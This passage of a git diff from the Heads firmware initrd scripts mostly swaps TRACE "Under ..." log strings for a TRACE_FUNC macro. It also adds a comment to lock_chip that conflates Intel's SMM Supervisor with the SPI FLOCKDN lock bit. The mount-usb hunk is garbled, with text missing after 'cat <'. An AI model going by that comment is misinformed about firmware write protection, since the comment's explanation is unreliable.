initrd/etc/luks-functions | 16 ++++---- initrd/sbin/insmod | 2 +- targets/qemu.mk | 2 +- 43 files changed, 167 insertions(+), 146 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index 06d78f00e..09456198d 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -2,7 +2,7 @@ set -e -o pipefail . /etc/functions -TRACE "Under /bin/cbfs-init" +TRACE_FUNC # Update initrd with CBFS files if [ -z "$CONFIG_PCR" ]; then diff --git a/initrd/bin/cbfs.sh b/initrd/bin/cbfs.sh index 54d2022f2..a6230cb3f 100755 --- a/initrd/bin/cbfs.sh +++ b/initrd/bin/cbfs.sh @@ -3,7 +3,7 @@ set -e -o pipefail . /etc/functions . /tmp/config -TRACE "Under /bin/cbfs.sh" +TRACE_FUNC if pnor "$2" -r HBI > /tmp/pnor.part 2>/dev/null; then cbfs "$@" -o /tmp/pnor.part && pnor "$2" -w HBI < /tmp/pnor.part diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 4955dac0a..050f416e7 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -5,7 +5,7 @@ set -e -o pipefail . /etc/gui_functions . /tmp/config -TRACE "Under /bin/config-gui.sh" +TRACE_FUNC ROOT_HASH_FILE="/boot/kexec_root_hashes.txt" diff --git a/initrd/bin/flash-gui.sh b/initrd/bin/flash-gui.sh index 56d527195..309463f79 100755 --- a/initrd/bin/flash-gui.sh +++ b/initrd/bin/flash-gui.sh @@ -5,7 +5,7 @@ set -e -o pipefail . /etc/gui_functions . /tmp/config -TRACE "Under /bin/flash-gui.sh" +TRACE_FUNC if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then whiptail $BG_COLOR_ERROR --title 'Restricted Boot Active' \ diff --git a/initrd/bin/flashrom-kgpe-d16-openbmc.sh b/initrd/bin/flashrom-kgpe-d16-openbmc.sh index 85108d9f0..63e83d468 100755 --- a/initrd/bin/flashrom-kgpe-d16-openbmc.sh +++ b/initrd/bin/flashrom-kgpe-d16-openbmc.sh @@ -1,7 +1,7 @@ #!/bin/bash . /etc/functions -TRACE "Under /bin/flashrom-kgpe-d16-openbmc.sh" +TRACE_FUNC ROM="$1" if [ -z "$1" ]; then diff --git a/initrd/bin/generic-init b/initrd/bin/generic-init index 438f29d99..0a4a17a63 100755 --- a/initrd/bin/generic-init +++ b/initrd/bin/generic-init @@ -6,7 +6,7 @@ mount_boot() { - TRACE "Under /bin/generic-init:mount_boot" + TRACE_FUNC # Mount local disk if it is not already mounted if ! grep -q /boot /proc/mounts ; then mount -o ro /boot \ diff --git a/initrd/bin/gpg-gui.sh b/initrd/bin/gpg-gui.sh index f2406e53a..5391f66a8 100755 --- a/initrd/bin/gpg-gui.sh +++ b/initrd/bin/gpg-gui.sh @@ -5,7 +5,7 @@ set -e -o pipefail . /etc/gui_functions . /tmp/config -TRACE "Under /bin/gpg-gui.sh" +TRACE_FUNC gpg_flash_rom() { if [ "$1" = "replace" ]; then diff --git a/initrd/bin/gpgv b/initrd/bin/gpgv index 67631eda5..e77197684 100755 --- a/initrd/bin/gpgv +++ b/initrd/bin/gpgv @@ -2,5 +2,5 @@ # if we are using the full GPG we need a wrapper for the gpgv executable . /etc/functions -TRACE "Under /bin/gpgv" +TRACE_FUNC exec gpg --verify "$@" diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index ac75de7bd..cd69e87c6 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -18,7 +18,7 @@ skip_to_menu="false" mount_boot() { - TRACE "Under /bin/gui-init:mount_boot" + TRACE_FUNC # Mount local disk if it is not already mounted while ! grep -q /boot /proc/mounts ; do # try to mount if CONFIG_BOOT_DEV exists @@ -64,7 +64,7 @@ mount_boot() verify_global_hashes() { - TRACE "Under /bin/gui-init:verify_global_hashes" + TRACE_FUNC # Check the hashes of all the files, ignoring signatures for now check_config /boot force TMP_HASH_FILE="/tmp/kexec/kexec_hashes.txt" @@ -139,7 +139,7 @@ verify_global_hashes() prompt_update_checksums() { - TRACE "Under /bin/gui-init:prompt_update_checksums" + TRACE_FUNC if (whiptail $BG_COLOR_WARNING --title 'Update Checksums and sign all files in /boot' \ --yesno "You have chosen to update the checksums and sign all of the files in /boot.\n\nThis means that you trust that these files have not been tampered with.\n\nYou will need your GPG key available, and this change will modify your disk.\n\nDo you want to continue?" 0 80) then if ! update_checksums ; then @@ -151,7 +151,7 @@ prompt_update_checksums() generate_totp_hotp() { - TRACE "Under /bin/gui-init:generate_totp_hotp" + TRACE_FUNC tpm_owner_password="$1" # May be empty, will prompt if needed and empty if [ "$CONFIG_TPM" != "y" ] && [ -x /bin/hotp_verification ]; then echo "Generating new HOTP secret" @@ -180,7 +180,7 @@ generate_totp_hotp() update_totp() { - TRACE "Under /bin/gui-init:update_totp" + TRACE_FUNC # update the TOTP code date=`date "+%Y-%m-%d %H:%M:%S %Z"` tries=0 @@ -249,7 +249,7 @@ update_totp() update_hotp() { - TRACE "Under /bin/gui-init:update_hotp" + TRACE_FUNC if [ -x /bin/hotp_verification ]; then HOTP=`unseal-hotp` if ! hotp_verification info ; then @@ -313,7 +313,7 @@ update_hotp() clean_boot_check() { - TRACE "Under /bin/gui-init:clean_boot_check" + TRACE_FUNC # assume /boot mounted if ! grep -q /boot /proc/mounts ; then return @@ -342,7 +342,7 @@ clean_boot_check() check_gpg_key() { - TRACE "Under /bin/gui-init:check_gpg_key" + TRACE_FUNC GPG_KEY_COUNT=`gpg -k 2>/dev/null | wc -l` if [ $GPG_KEY_COUNT -eq 0 ]; then BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR @@ -379,7 +379,7 @@ check_gpg_key() prompt_auto_default_boot() { - TRACE "Under /bin/gui-init:prompt_auto_default_boot" + TRACE_FUNC echo -e "\nHOTP verification success\n\n" if pause_automatic_boot; then echo -e "\n\nAttempting default boot...\n\n" @@ -389,7 +389,7 @@ prompt_auto_default_boot() show_main_menu() { - TRACE "Under /bin/gui-init:show_main_menu" + TRACE_FUNC date=`date "+%Y-%m-%d %H:%M:%S %Z"` whiptail $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ --menu "$date\nTOTP: $TOTP | HOTP: $HOTP" 0 80 10 \ @@ -422,7 +422,7 @@ show_main_menu() show_options_menu() { - TRACE "Under /bin/gui-init:show_options_menu" + TRACE_FUNC whiptail $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Options" \ --menu "" 0 80 10 \ 'b' ' Boot Options -->' \ @@ -483,7 +483,7 @@ show_options_menu() show_boot_options_menu() { - TRACE "Under /bin/gui-init:show_boot_options_menu" + TRACE_FUNC whiptail $BG_COLOR_MAIN_MENU --title "Boot Options" \ --menu "Select A Boot Option" 0 80 10 \ 'm' ' Show OS boot menu' \ @@ -511,7 +511,7 @@ show_boot_options_menu() show_tpm_totp_hotp_options_menu() { - TRACE "Under /bin/gui-init:show_tpm_totp_hotp_options_menu" + TRACE_FUNC whiptail $BG_COLOR_MAIN_MENU --title "TPM/TOTP/HOTP Options" \ --menu "Select An Option" 0 80 10 \ 'g' ' Generate new TOTP/HOTP secret' \ @@ -538,7 +538,7 @@ show_tpm_totp_hotp_options_menu() prompt_totp_mismatch() { - TRACE "Under /bin/gui-init:prompt_totp_mismatch" + TRACE_FUNC if (whiptail $BG_COLOR_WARNING --title "TOTP/HOTP code mismatched" \ --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift:\n\nTo correct clock drift: 'date -s yyyy-MM-DD hh:mm:ss' in UTC timezone\nand save it to the RTC: 'hwclock -w'\nthen reboot and try again.\n\nWould you like to exit to a recovery console?" 0 80) then echo "" @@ -555,7 +555,7 @@ prompt_totp_mismatch() reset_tpm() { - TRACE "Under /bin/gui-init:reset_tpm" + TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then if (whiptail $BG_COLOR_WARNING --title 'Reset the TPM' \ --yesno "This will clear the TPM and TPM password, replace them with new ones!\n\nDo you want to proceed?" 0 80) then @@ -599,7 +599,7 @@ reset_tpm() select_os_boot_option() { - TRACE "Under /bin/gui-init:select_os_boot_option" + TRACE_FUNC mount_boot if verify_global_hashes ; then kexec-select-boot -m -b /boot -c "grub.cfg" -g @@ -608,7 +608,7 @@ select_os_boot_option() attempt_default_boot() { - TRACE "Under /bin/gui-init:attempt_default_boot" + TRACE_FUNC mount_boot if ! verify_global_hashes; then @@ -626,7 +626,7 @@ attempt_default_boot() force_unsafe_boot() { - TRACE "Under /bin/gui-init:force_unsafe_boot" + TRACE_FUNC if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then whiptail $BG_COLOR_ERROR --title 'ERROR: Restricted Boot Enabled' --msgbox "Restricted Boot is Enabled, forced boot not allowed.\n\nPress OK to return to the Main Menu" 0 80 return @@ -639,7 +639,7 @@ force_unsafe_boot() } # gui-init start -TRACE "Under /bin/gui-init, start" +TRACE_FUNC # Use stored HOTP key branding if [ -r /boot/kexec_hotp_key ]; then @@ -673,7 +673,7 @@ if [ "$HOTP" = "Success" -a -n "$CONFIG_AUTO_BOOT_TIMEOUT" ]; then fi while true; do - TRACE "Under gui-init:while true loop" + TRACE_FUNC skip_to_menu="false" show_main_menu done diff --git a/initrd/bin/gui-init-basic b/initrd/bin/gui-init-basic index 95243e89c..e5f3b818b 100755 --- a/initrd/bin/gui-init-basic +++ b/initrd/bin/gui-init-basic @@ -17,7 +17,7 @@ skip_to_menu="false" mount_boot() { - TRACE "Under /bin/gui-init:mount_boot" + TRACE_FUNC # Mount local disk if it is not already mounted while ! grep -q /boot /proc/mounts ; do # try to mount if CONFIG_BOOT_DEV exists @@ -63,7 +63,7 @@ mount_boot() prompt_auto_default_boot() { - TRACE "Under /bin/gui-init:prompt_auto_default_boot" + TRACE_FUNC echo -e "\n\n" if pause_automatic_boot; then echo -e "\n\nAttempting default boot...\n\n" @@ -73,7 +73,7 @@ prompt_auto_default_boot() show_main_menu() { - TRACE "Under /bin/gui-init:show_main_menu" + TRACE_FUNC date=`date "+%Y-%m-%d %H:%M:%S %Z"` whiptail $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ --menu "$date" 0 80 10 \ @@ -102,7 +102,7 @@ show_main_menu() show_options_menu() { - TRACE "Under /bin/gui-init:show_options_menu" + TRACE_FUNC whiptail $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Basic Options" \ --menu "" 0 80 10 \ 'b' ' Boot Options -->' \ @@ -133,7 +133,7 @@ show_options_menu() show_boot_options_menu() { - TRACE "Under /bin/gui-init:show_boot_options_menu" + TRACE_FUNC whiptail $BG_COLOR_MAIN_MENU --title "Boot Options" \ --menu "Select A Boot Option" 0 80 10 \ 'm' ' Show OS boot menu' \ @@ -157,14 +157,14 @@ show_boot_options_menu() select_os_boot_option() { - TRACE "Under /bin/gui-init:select_os_boot_option" + TRACE_FUNC mount_boot kexec-select-boot -m -b /boot -c "grub.cfg" -g -i } attempt_default_boot() { - TRACE "Under /bin/gui-init:attempt_default_boot" + TRACE_FUNC mount_boot DEFAULT_FILE=`find /boot/kexec_default.*.txt 2>/dev/null | head -1` @@ -183,7 +183,7 @@ attempt_default_boot() } # gui-init-basic start -TRACE "Under /bin/gui-init, start" +TRACE_FUNC # USB automatic boot (if configured) occurs before mounting /boot, this should # work even if no OS is installed @@ -204,7 +204,7 @@ if [ "$skip_to_menu" != "true" -a -n "$CONFIG_AUTO_BOOT_TIMEOUT" ]; then fi while true; do - TRACE "Under gui-init:while true loop" + TRACE_FUNC skip_to_menu="false" show_main_menu done diff --git a/initrd/bin/kexec-boot b/initrd/bin/kexec-boot index 3609c2d8d..bb39dbb05 100755 --- a/initrd/bin/kexec-boot +++ b/initrd/bin/kexec-boot @@ -4,7 +4,7 @@ set -e -o pipefail . /tmp/config . /etc/functions -TRACE "Under /bin/kexec-boot" +TRACE_FUNC dryrun="n" printfiles="n" diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 877e45092..f06c54833 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -3,7 +3,7 @@ set -e -o pipefail . /etc/functions -TRACE "Under /bin/kexec-insert-key" +TRACE_FUNC TMP_KEY_DEVICES="/tmp/kexec/kexec_key_devices.txt" TMP_KEY_LVM="/tmp/kexec/kexec_key_lvm.txt" diff --git a/initrd/bin/kexec-iso-init b/initrd/bin/kexec-iso-init index ad283271a..c6e865866 100755 --- a/initrd/bin/kexec-iso-init +++ b/initrd/bin/kexec-iso-init @@ -4,7 +4,7 @@ set -e -o pipefail . /etc/functions . /tmp/config -TRACE "Under /bin/kexec-iso-init" +TRACE_FUNC MOUNTED_ISO_PATH="$1" ISO_PATH="$2" diff --git a/initrd/bin/kexec-parse-bls b/initrd/bin/kexec-parse-bls index a2d98faf9..92bc5f6c8 100755 --- a/initrd/bin/kexec-parse-bls +++ b/initrd/bin/kexec-parse-bls @@ -1,7 +1,7 @@ #!/bin/bash set -e -o pipefail . /etc/functions -TRACE "Under /bin/kexec-parse-bls" +TRACE_FUNC bootdir="$1" file="$2" diff --git a/initrd/bin/kexec-parse-boot b/initrd/bin/kexec-parse-boot index 4b0a05672..07e38e3d6 100755 --- a/initrd/bin/kexec-parse-boot +++ b/initrd/bin/kexec-parse-boot @@ -2,7 +2,7 @@ set -e -o pipefail . /etc/functions -TRACE "Under /bin/kexec-parse-boot" +TRACE_FUNC bootdir="$1" file="$2" diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index 6462ffb34..1e5fcd810 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -4,7 +4,7 @@ set -e -o pipefail . /tmp/config . /etc/functions -TRACE "Under /bin/kexec-save-default" +TRACE_FUNC while getopts "b:d:p:i:" arg; do case $arg in @@ -71,7 +71,7 @@ fi #Reusable function when user wants to define new TPM DUK for lvms/disks prompt_for_existing_encrypted_lvms_or_disks() { - TRACE "Under kexec-save-default:prompt_for_existing_encrypted_lvms_or_disks" + TRACE_FUNC DEBUG "num_lvm: $num_lvm, lvm_suggest: $lvm_suggest, num_devices: $num_devices, devices_suggest: $devices_suggest" # Create an associative array to store the suggested LVMs and their paths diff --git a/initrd/bin/kexec-save-key b/initrd/bin/kexec-save-key index 6ab0668cb..a6ceb71ba 100755 --- a/initrd/bin/kexec-save-key +++ b/initrd/bin/kexec-save-key @@ -3,7 +3,7 @@ . /etc/functions -TRACE "kexec-save-key: start" +TRACE_FUNC set -e -o pipefail . /etc/functions diff --git a/initrd/bin/kexec-seal-key b/initrd/bin/kexec-seal-key index 668df5f65..0481ebb2a 100755 --- a/initrd/bin/kexec-seal-key +++ b/initrd/bin/kexec-seal-key @@ -14,7 +14,7 @@ RECOVERY_KEY="/tmp/secret/recovery.key" . /etc/functions . /tmp/config -TRACE "Under kexec-seal-key" +TRACE_FUNC paramsdir=$1 if [ -z "$paramsdir" ]; then diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index edf3abba7..4161af4ae 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -4,7 +4,7 @@ set -e -o pipefail . /tmp/config . /etc/functions -TRACE "Under /bin/kexec-select-boot" +TRACE_FUNC add="" remove="" diff --git a/initrd/bin/kexec-sign-config b/initrd/bin/kexec-sign-config index b5d3ac16c..c34060d0b 100755 --- a/initrd/bin/kexec-sign-config +++ b/initrd/bin/kexec-sign-config @@ -4,7 +4,7 @@ set -e -o pipefail . /tmp/config . /etc/functions -TRACE "Under /bin/kexec-sign-config" +TRACE_FUNC rollback="n" update="n" diff --git a/initrd/bin/kexec-unseal-key b/initrd/bin/kexec-unseal-key index d6566a625..3f18c4358 100755 --- a/initrd/bin/kexec-unseal-key +++ b/initrd/bin/kexec-unseal-key @@ -10,7 +10,7 @@ TPM_SIZE=312 . /etc/functions -TRACE "Under kexec-unseal-key" +TRACE_FUNC mkdir -p /tmp/secret diff --git a/initrd/bin/key-init b/initrd/bin/key-init index 44a9063f6..68415f237 100755 --- a/initrd/bin/key-init +++ b/initrd/bin/key-init @@ -2,7 +2,7 @@ set -e -o pipefail . /etc/functions -TRACE "Under /bin/key-init" +TRACE_FUNC # Post processing of keys diff --git a/initrd/bin/lock_chip b/initrd/bin/lock_chip index 8bf316b71..9519dc164 100755 --- a/initrd/bin/lock_chip +++ b/initrd/bin/lock_chip @@ -15,7 +15,28 @@ if [ "$CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" = "y" ]; then fi if [ -n "$APM_CNT" -a -n "$FIN_CODE" ]; then - echo "Finalizing chipset" + # SMI PR0 lockdown is implemented by Intel as part of the SMM Supervisor feature. + # SMM Supervisor is a software component that runs in SMM and acts as a gatekeeper + # for SMM access. + # + # It uses the processor’s memory protection and paging mechanisms to restrict what + # SMM code can read and write. SMM Supervisor marks critical pages, such as its + # own code, data, and page tables, as supervisor pages, which are only accessible + # from the most privileged level (CPL0). + # + # It also marks the rest of the SMM memory as user pages, which are accessible + # from any privilege level. + # + # This way, SMM Supervisor can isolate itself from other SMM code and enforce a policy + # that states what resources the SMI handlers (the interrupt handlers that run in SMM) + # require access to. + # + # SMI PR0 lockdown is enabled by setting a lock bit (FLOCKDN) in the SPI controller, + # which prevents further changes to the SMM memory and configuration. + # Once SMI PR0 lockdown is enabled, it cannot be disabled until the next system reset. + # This ensures that malicious code cannot tamper with the SMM Supervisor or the SMI handlers + # after the system boots. + echo "Finalizing chipset Write Protection through SMI PR0 lockdown call" io386 -o b -b x $APM_CNT $FIN_CODE else echo "NOT Finalizing chipset" diff --git a/initrd/bin/media-scan b/initrd/bin/media-scan index e22cddec4..3f7238038 100755 --- a/initrd/bin/media-scan +++ b/initrd/bin/media-scan @@ -5,7 +5,7 @@ set -e -o pipefail . /etc/gui_functions . /tmp/config -TRACE "Under /bin/media-scan" +TRACE_FUNC #Booting from external media should be authenticated if supported gpg_auth || die "GPG authentication failed" diff --git a/initrd/bin/mount-usb b/initrd/bin/mount-usb index 22846a247..e2034e69c 100755 --- a/initrd/bin/mount-usb +++ b/initrd/bin/mount-usb @@ -3,7 +3,7 @@ . /etc/functions . /etc/luks-functions -TRACE "Under /bin/mount-usb" +TRACE_FUNC function usage() { cat <"$mountpoint"/pubkey.asc || die "Error exporting public key to thumb drive's public partition" umount "$mountpoint" || die "Error unmounting thumb drive's public partition" - TRACE "oem-factory-reset:export_public_key_to_thumbdrive_public_partition done" + TRACE_FUNC } # Select thumb drive and LUKS container size for GPG key export @@ -407,7 +407,7 @@ export_public_key_to_thumbdrive_public_partition() { # - thumb_drive # - thumb_drive_luks_percent select_thumb_drive_for_key_material() { - TRACE "Under oem-factory-reset:wipe_thumb_drive_and_copy_gpg_key_material" + TRACE_FUNC #enable usb storage enable_usb @@ -459,7 +459,7 @@ select_thumb_drive_for_key_material() { # $1 - thumb drive block device # $2 - LUKS container percentage [1-99] wipe_thumb_drive_and_copy_gpg_key_material() { - TRACE "Under oem-factory-reset:wipe_thumb_drive_and_copy_gpg_key_material" + TRACE_FUNC local thumb_drive thumb_drive_luks_percent thumb_drive="$1" @@ -472,11 +472,11 @@ wipe_thumb_drive_and_copy_gpg_key_material() { #Export public key to thumb drive's public partition export_public_key_to_thumbdrive_public_partition --mode rw --device "$thumb_drive"2 --mountpoint /media - TRACE "Under oem-factory-reset:wipe_thumb_drive_and_copy_gpg_key_material done" + TRACE_FUNC } gpg_key_factory_reset() { - TRACE "Under oem-factory-reset:gpg_key_factory_reset" + TRACE_FUNC #enable usb storage enable_usb @@ -560,11 +560,11 @@ gpg_key_factory_reset() { whiptail_error_die "Unknown GPG_ALGO: $GPG_ALGO" fi - TRACE "oem-factory-reset:gpg_key_factory_reset done" + TRACE_FUNC } generate_OEM_gpg_keys() { - TRACE "Under oem-factory-reset:generate_OEM_gpg_keys" + TRACE_FUNC #This function simply generates subkeys in smartcard following smarcard config from gpg_key_factory_reset echo "Generating GPG keys in USB Security Dongle's smartcard..." @@ -586,11 +586,11 @@ generate_OEM_gpg_keys() { whiptail_error_die "GPG Key automatic keygen failed!\n\n$ERROR" fi - TRACE "oem-factory-reset:generate_OEM_gpg_keys done" + TRACE_FUNC } gpg_key_change_pin() { - TRACE "Under oem-factory-reset:gpg_key_change_pin" + TRACE_FUNC DEBUG "Changing GPG key PIN" # 1 = user PIN, 3 = admin PIN PIN_TYPE=$1 @@ -613,11 +613,11 @@ gpg_key_change_pin() { whiptail_error_die "GPG Key PIN change failed!\n\n$ERROR" fi - TRACE "oem-factory-reset:gpg_key_change_pin done" + TRACE_FUNC } generate_checksums() { - TRACE "Under oem-factory-reset:generate_checksums" + TRACE_FUNC # ensure /boot mounted if ! grep -q /boot /proc/mounts; then @@ -711,11 +711,11 @@ generate_checksums() { whiptail_error_die "Error signing kexec boot files:\n\n$ERROR" fi - TRACE "oem-factory-reset:generate_checksums done" + TRACE_FUNC } set_default_boot_option() { - TRACE "Under oem-factory-reset:set_default_boot_option" + TRACE_FUNC option_file="/tmp/kexec_options.txt" tmp_menu_file="/tmp/kexec/kexec_menu.txt" @@ -758,11 +758,11 @@ set_default_boot_option() { xargs sha256sum >$hash_file 2>/dev/null) || whiptail_error_die "Failed to create hashes of boot files" - TRACE "oem-factory-reset:set_default_boot_option done" + TRACE_FUNC } report_integrity_measurements() { - TRACE "Under oem-factory-reset:report_integrity_measurements" + TRACE_FUNC #check for GPG key in keyring GPG_KEY_COUNT=$(gpg -k 2>/dev/null | wc -l) @@ -818,11 +818,11 @@ report_integrity_measurements() { whiptail $MAIN_MENU_BG_COLOR --title "Measured Integrity Report" --msgbox "$date\nTOTP: $TOTP | HOTP: $HOTP\n/BOOT INTEGRITY: $HASH\n\nPress OK to continue or Ctrl+Alt+Delete to reboot" 0 80 fi - TRACE "oem-factory-reset:report_integrity_measurements done" + TRACE_FUNC } usb_security_token_capabilities_check() { - TRACE "Under /bin/oem-factory-reset:usb_security_token_capabilities_check" + TRACE_FUNC enable_usb # ... first set board config preference diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index 489a5d78d..768be2637 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -9,7 +9,7 @@ export BG_COLOR_MAIN_MENU="" . /etc/luks-functions . /tmp/config -TRACE "Under /bin/oem-system-info-xx30" +TRACE_FUNC battery_charge="$(print_battery_charge)" battery_health="$(print_battery_health)" diff --git a/initrd/bin/qubes-measure-luks b/initrd/bin/qubes-measure-luks index 0e3c7801d..4f0ca281e 100755 --- a/initrd/bin/qubes-measure-luks +++ b/initrd/bin/qubes-measure-luks @@ -3,7 +3,7 @@ # a PCR so that we can detect disk swap attacks. . /etc/functions -TRACE "Under /bin/qubes-measure-luks" +TRACE_FUNC DEBUG "Arguments passed to qubes-measure-luks: $@" # Measure the LUKS headers into PCR 6 diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 1abbf8b11..77940dcad 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -9,7 +9,7 @@ HOTP_KEY="/boot/kexec_hotp_key" mount_boot() { - TRACE "Under /bin/seal-hotpkey:mount_boot" + TRACE_FUNC # Mount local disk if it is not already mounted if ! grep -q /boot /proc/mounts; then if ! mount -o ro /boot; then @@ -20,7 +20,7 @@ mount_boot() fi } -TRACE "Under /bin/seal-hotpkey" +TRACE_FUNC fatal_error() { diff --git a/initrd/bin/seal-totp b/initrd/bin/seal-totp index ef418e334..0ef5bcfbe 100755 --- a/initrd/bin/seal-totp +++ b/initrd/bin/seal-totp @@ -7,7 +7,7 @@ . /etc/functions -TRACE "Under /bin/seal-totp" +TRACE_FUNC TPM_NVRAM_SPACE=4d47 diff --git a/initrd/bin/setconsolefont.sh b/initrd/bin/setconsolefont.sh index 1f2177414..63aacc782 100755 --- a/initrd/bin/setconsolefont.sh +++ b/initrd/bin/setconsolefont.sh @@ -3,7 +3,7 @@ set -eo pipefail . /etc/functions -TRACE "Under /bin/setconsolefont.sh" +TRACE_FUNC # If the board ships setfont, and the console size is >=1600 lines tall, # increase the console font size. diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index e7e61ceba..630454e17 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -29,7 +29,7 @@ else . /etc/config fi -TRACE "Under /bin/tpmr" +TRACE_FUNC # Busybox xxd lacks -r, and we get hex dumps from TPM1 commands. This converts # a hex dump to binary data using sed and printf @@ -50,7 +50,7 @@ tpm2_password_hex() { # Reads PCR binary data and writes to file. # -a: Append to file. Default is to overwrite. tpm2_pcrread() { - TRACE "Under /bin/tpmr:tpm2_pcrread" + TRACE_FUNC if [ "$1" = "-a" ]; then APPEND=y shift @@ -68,7 +68,7 @@ tpm2_pcrread() { DO_WITH_DEBUG tpm2 pcrread -Q -o >(cat >>"$file") "sha256:$index" } tpm1_pcrread() { - TRACE "Under /bin/tpmr:tpm1_pcrread" + TRACE_FUNC if [ "$1" = "-a" ]; then APPEND=y shift @@ -193,7 +193,7 @@ $0 ~ pcr { # hashes and/or files extended to given PCR after firmware. Resulting PCR value # is returned in binary form. replay_pcr() { - TRACE "Under /bin/tpmr:replay_pcr" + TRACE_FUNC if [ -z "$2" ]; then echo >&2 "No PCR number passed" return @@ -229,7 +229,7 @@ replay_pcr() { } tpm2_extend() { - TRACE "Under /bin/tpmr:tpm2_extend" + TRACE_FUNC while true; do case "$1" in -ix) @@ -254,7 +254,7 @@ tpm2_extend() { } tpm2_counter_read() { - TRACE "Under /bin/tpmr:tpm2_counter_read" + TRACE_FUNC while true; do case "$1" in -ix) @@ -270,7 +270,7 @@ tpm2_counter_read() { } tpm2_counter_inc() { - TRACE "Under /bin/tpmr:tpm2_counter_inc" + TRACE_FUNC while true; do case "$1" in -ix) @@ -291,7 +291,7 @@ tpm2_counter_inc() { } tpm1_counter_create() { - TRACE "Under /bin/tpmr:tpm1_counter_create" + TRACE_FUNC # tpmr handles the TPM owner password (from cache or prompt), but all # other parameters for TPM1 are passed directly, and TPM2 mimics the # TPM1 interface. @@ -304,7 +304,7 @@ tpm1_counter_create() { } tpm2_counter_create() { - TRACE "Under /bin/tpmr:tpm2_counter_create" + TRACE_FUNC while true; do case "$1" in -pwdc) @@ -333,7 +333,7 @@ tpm2_counter_create() { } tpm2_startsession() { - TRACE "Under /bin/tpmr:tpm2_startsession" + TRACE_FUNC mkdir -p "$SECRET_DIR" tpm2 flushcontext -Q \ --transient-object || @@ -356,7 +356,7 @@ tpm2_startsession() { # session file. E.g.: # at_exit cleanup_session "$SESSION_FILE" cleanup_session() { - TRACE "Under /bin/tpmr:cleanup_session" + TRACE_FUNC session_file="$1" if [ -f "$session_file" ]; then DEBUG "Clean up session: $session_file" @@ -372,7 +372,7 @@ cleanup_session() { # at_exit, e.g.: # at_exit cleanup_shred "$FILE" cleanup_shred() { - TRACE "Under /bin/tpmr:cleanup_shred" + TRACE_FUNC shred -n 10 -z -u "$1" 2>/dev/null || true } @@ -408,7 +408,7 @@ tpm1_destroy() { # provided - TPM2 allows the TPM to fall back to current PCR values, but it is # not required to support this. tpm2_seal() { - TRACE "Under /bin/tpmr:tpm2_seal" + TRACE_FUNC file="$1" #$KEY_FILE index="$2" pcrl="$3" #0,1,2,3,4,5,6,7 (does not include algorithm prefix) @@ -481,7 +481,7 @@ tpm2_seal() { } } tpm1_seal() { - TRACE "Under /bin/tpmr:tpm1_seal" + TRACE_FUNC file="$1" index="$2" pcrl="$3" #0,1,2,3,4,5,6,7 (does not include algorithm prefix) @@ -549,7 +549,7 @@ tpm1_seal() { # password must be provided if one was used to seal (and cannot be provided if # no password was used to seal). tpm2_unseal() { - TRACE "Under /bin/tpmr:tpm2_unseal" + TRACE_FUNC index="$1" pcrl="$2" #0,1,2,3,4,5,6,7 (does not include algorithm prefix) sealed_size="$3" @@ -594,7 +594,7 @@ tpm2_unseal() { -S "$ENC_SESSION_FILE" >"$file" } tpm1_unseal() { - TRACE "Under /bin/tpmr:tpm1_unseal" + TRACE_FUNC index="$1" pcrl="$2" sealed_size="$3" @@ -629,7 +629,7 @@ tpm1_unseal() { } tpm2_reset() { - TRACE "Under /bin/tpmr:tpm2_reset" + TRACE_FUNC tpm_owner_password="$1" mkdir -p "$SECRET_DIR" # output TPM Owner Password to a file to be reused in this boot session until recovery shell/reboot @@ -678,7 +678,7 @@ tpm2_reset() { "hex:$(dd if=/dev/urandom bs=32 count=1 status=none | xxd -p | tr -d ' \n')" } tpm1_reset() { - TRACE "Under /bin/tpmr:tpm1_reset" + TRACE_FUNC tpm_owner_password="$1" mkdir -p "$SECRET_DIR" # output tpm_owner_password to a file to be reused in this boot session until recovery shell/reboot @@ -700,7 +700,7 @@ tpm1_reset() { # Perform final cleanup before boot and lock the platform heirarchy. tpm2_kexec_finalize() { - TRACE "Under /bin/tpmr:tpm2_kexec_finalize" + TRACE_FUNC # Flush sessions and transient objects tpm2 flushcontext -Q --transient-object || @@ -720,7 +720,7 @@ tpm2_kexec_finalize() { } tpm2_shutdown() { - TRACE "Under /bin/tpmr:tpm2_shutdown" + TRACE_FUNC # Prepare for shutdown. # This is a "clear" shutdown (do not preserve runtime state) since we diff --git a/initrd/bin/unpack_initramfs.sh b/initrd/bin/unpack_initramfs.sh index cbefc10ac..db176fd6e 100755 --- a/initrd/bin/unpack_initramfs.sh +++ b/initrd/bin/unpack_initramfs.sh @@ -3,7 +3,7 @@ set -e -o pipefail . /etc/functions -TRACE "Under unpack_initramfs.sh" +TRACE_FUNC # Unpack a Linux initramfs archive. # # In general, the initramfs archive is one or 